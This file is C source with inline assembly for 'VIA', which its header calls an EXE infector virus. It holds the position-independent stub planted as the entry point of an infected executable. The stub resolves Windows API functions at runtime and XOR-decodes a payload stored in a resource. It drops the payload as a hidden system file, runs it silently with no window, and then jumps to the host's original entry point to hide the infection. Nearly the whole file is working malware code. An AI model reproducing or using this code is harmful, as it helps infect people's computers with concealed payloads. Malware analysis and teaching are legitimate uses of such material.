/**
 * @author	Yitzchak Arad
 * @project	VIA, an EXE infector virus
 * @date	2011
 */

// disable all optimizations
#pragma optimize( "", off )

#include "pic.h"

// set struct member alignment to 1
#pragma pack(push)
#pragma pack(1)

// this struct holds all of the local variables to the PIC code.
// the PIC function is naked, so we do all of the stack frame games by own.
// to adjust the stack to point local vars, esp should be substructed by the amount of bytes the consumed.
// grouping all of these vars into one struct makes this job easier.

// NOTE: there is a chance that the total amount of bytes must share 8.
// in this case, maybe the pragma pack should be 8.
typedef struct _LocalData
{
	DWORD startEip;					// stores the current opcode location, at the start of the PIC code
	HMODULE hKernel32;				// stores the pointer to KERNEL32 module base
	struct PICData* data;			// stores the pointer to the data required for the PIC code
	DWORD sizeOfPayload;
	HRSRC hRsrc;
	HGLOBAL hResource;
	HANDLE hFile;
	BYTE* payloadData;				// pointer to the extracted payload from the resource
	DWORD dwNumOfBytes;
	unsigned int i;
	STARTUPINFOA si;				// struct for CreateProcess
	PROCESS_INFORMATION pi;			// struct for CreateProcess
	DWORD dwOriginalEntryPoint;		// helper var for jumping to the original entry point
} LocalData;


// functions used by the PIC code (dynamically retrieved using GetProcAddress)
typedef struct _FunctionPointers
{
	OUTPUT_DEBUG_STRING_A pOutputDebugStringA;
	GET_MODULE_FILE_NAME_A pGetModuleFileNameA;
	FIND_RESOURCE_A pFindResourceA;
	SIZE_OF_RESOURCE pSizeOfResource;
	LOAD_RESOURCE pLoadResource;
	LOCK_RESOURCE pLockResource;
	EXPAND_ENVIRONMENT_STRINGS_A pExpandEnvStringsA;
	CREATE_FILE_A pCreateFileA;
	WRITE_FILE pWriteFile;
	CLOSE_HANDLE pCloseHandle;
	CREATE_PROCESS_A pCreateProcessA;
	DWORD padd;
} FunctionPointers;

// the MAIN entry point of the new infected EXE
// function is naked, because we want to jump into the original EntryPoint,
// while cleaning all traces of our code (stack frames, etc..)

void _declspec(naked) __stdcall positionIndependantCode()
{
	LocalData l;
	FunctionPointers f;
	CHAR buffer[MAX_PATH + 4];

	
	// first op code of the EXE
	__asm
	{
		// just for debugging disassembly identification
		nop;
		nop;
		nop;
		nop;
		nop;
		// preserve stack frame
		push ebp;
		mov ebp,esp;
		// set stack for local vars
		sub esp, TYPE LocalData;
		sub esp, TYPE FunctionPointers;
		sub esp, MAX_PATH + 4;
	};

	
	// get current EIP (call pushes the return address into the stack. we can pop it)
	__asm
	{
		call nextOp;
	nextOp:
		pop l.startEip;
	};

	// data is just before the code (but startEip is not the first op code) 
	// carefully: 28 is the size of the function prefix (including nop, first asm block, and 'call' op-code)
	l.data = (struct PICData*)((byte*)l.startEip - 28 - sizeof(struct PICData));

	// sanity check: is the struct points to a reasonable location?
	if( l.data->magic == PIC_DATA_START_MAGIC )
	{
		// get KERNEL32 base address, using function pointer from the import table
		l.hKernel32 = (*l.data->pfGetModuleHandle)(l.data->kernel32Name);

		// Some start prints: get OutputDebugString and GetModuleFileName function pointers
		f.pOutputDebugStringA = (OUTPUT_DEBUG_STRING_A)((*l.data->pfGetProcAddress)(l.hKernel32, l.data->fnameOutputDebugString));
		f.pGetModuleFileNameA = (GET_MODULE_FILE_NAME_A)((*l.data->pfGetProcAddress)(l.hKernel32, l.data->fnameGetModuleFileName));
		// zero the local buffer (inline memset)
		l.i=sizeof(buffer);
		while (l.i) ((BYTE *)buffer)[--l.i] = 0;
		// query the ModuleFileName
		f.pGetModuleFileNameA(NULL, buffer, MAX_PATH);
		// print
		f.pOutputDebugStringA(l.data->inBuff1);
		f.pOutputDebugStringA(buffer);
		

		// get Resource function pointers
		f.pFindResourceA = (FIND_RESOURCE_A)((*l.data->pfGetProcAddress)(l.hKernel32, l.data->fnameFindResource));
		f.pSizeOfResource = (SIZE_OF_RESOURCE)((*l.data->pfGetProcAddress)(l.hKernel32, l.data->fnameSizeOfResource));
		f.pLoadResource = (LOAD_RESOURCE)((*l.data->pfGetProcAddress)(l.hKernel32, l.data->fnameLoadResource));
		f.pLockResource = (LOCK_RESOURCE)((*l.data->pfGetProcAddress)(l.hKernel32, l.data->fnameLockResource));

		// find the resource id in the current module
		l.hRsrc = f.pFindResourceA(NULL, MAKEINTRESOURCEA(l.data->payloadResID), MAKEINTRESOURCEA(RT_RCDATA));
		if( l.hRsrc != NULL )
		{
			// resouce was found. continue...
			l.sizeOfPayload = f.pSizeOfResource(NULL, l.hRsrc);
			l.hResource = f.pLoadResource(NULL, l.hRsrc);
			l.payloadData = (BYTE*)f.pLockResource(l.hResource);

			// payloadData points to a XORed EXE file
			l.i=l.sizeOfPayload;
			while (l.i) l.payloadData[--l.i] ^= l.data->xorByte;
				
			// get Files function pointers
			f.pExpandEnvStringsA = (EXPAND_ENVIRONMENT_STRINGS_A)((*l.data->pfGetProcAddress)(l.hKernel32, l.data->fnameExpandEnvStrings));
			f.pCreateFileA = (CREATE_FILE_A)((*l.data->pfGetProcAddress)(l.hKernel32, l.data->fnameCreateFile));
			f.pWriteFile = (WRITE_FILE)((*l.data->pfGetProcAddress)(l.hKernel32, l.data->fnameWriteFile));
			f.pCloseHandle = (CLOSE_HANDLE)((*l.data->pfGetProcAddress)(l.hKernel32, l.data->fnameCloseHandle));
			f.pCreateProcessA = (CREATE_PROCESS_A)((*l.data->pfGetProcAddress)(l.hKernel32, l.data->fnameCreateProcess));

			// zero the local buffer (inline memset)
			l.i=sizeof(buffer);
			while (l.i) ((BYTE *)buffer)[--l.i] = 0;

			// expand environment strings (from PICData into local buffer)
			f.pExpandEnvStringsA(l.data->payloadDestFileName, buffer, MAX_PATH);
			// create file for writing (system, hidden)
			l.hFile = f.pCreateFileA(buffer, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM, NULL);
			if( INVALID_HANDLE_VALUE != l.hFile )
			{
				// file was opened successfully. write into it...
				f.pWriteFile(l.hFile, l.payloadData, l.sizeOfPayload, &l.dwNumOfBytes, NULL);
				// release file handle (important for Executing it)
				f.pCloseHandle(l.hFile);

				// initialize the empty STARTUPINTO struct
				l.i=sizeof(STARTUPINFO);
				while (l.i) ((BYTE *)&l.si)[--l.i] = 0;
				l.si.cb = sizeof(STARTUPINFO);

				// execute the payload (NO_WINDOW)
				f.pCreateProcessA(buffer, NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &l.si, &l.pi);
			} // CreateFile succeeded
		} // resource found
	} // magic found
	else
	{
		// BAD LUCK!! we have no API, and no clue what was the original entry point
		goto end;
	}

	// let's jump to the original EXE code.
	// store the orig entry point in a local var
	l.dwOriginalEntryPoint = l.data->originalEntryPoint;

	__asm
	{
		// move it into eax
		mov eax, l.dwOriginalEntryPoint;
		// restore the stack frame
		mov esp,ebp;
		pop ebp;

		// implementation of jump to absolute address:
		push eax;
		retn; // retn pops the return value from the stack :)

		// just for debugging disassembly identification
		nop;
		nop;
		nop;
		nop;
		nop;
	};

	// should not happen. just exits the process...
end:
	__asm
	{
		mov esp,ebp;
		pop ebp;
		retn;
	}
}

#pragma pack(pop) // restore struct alignment settings
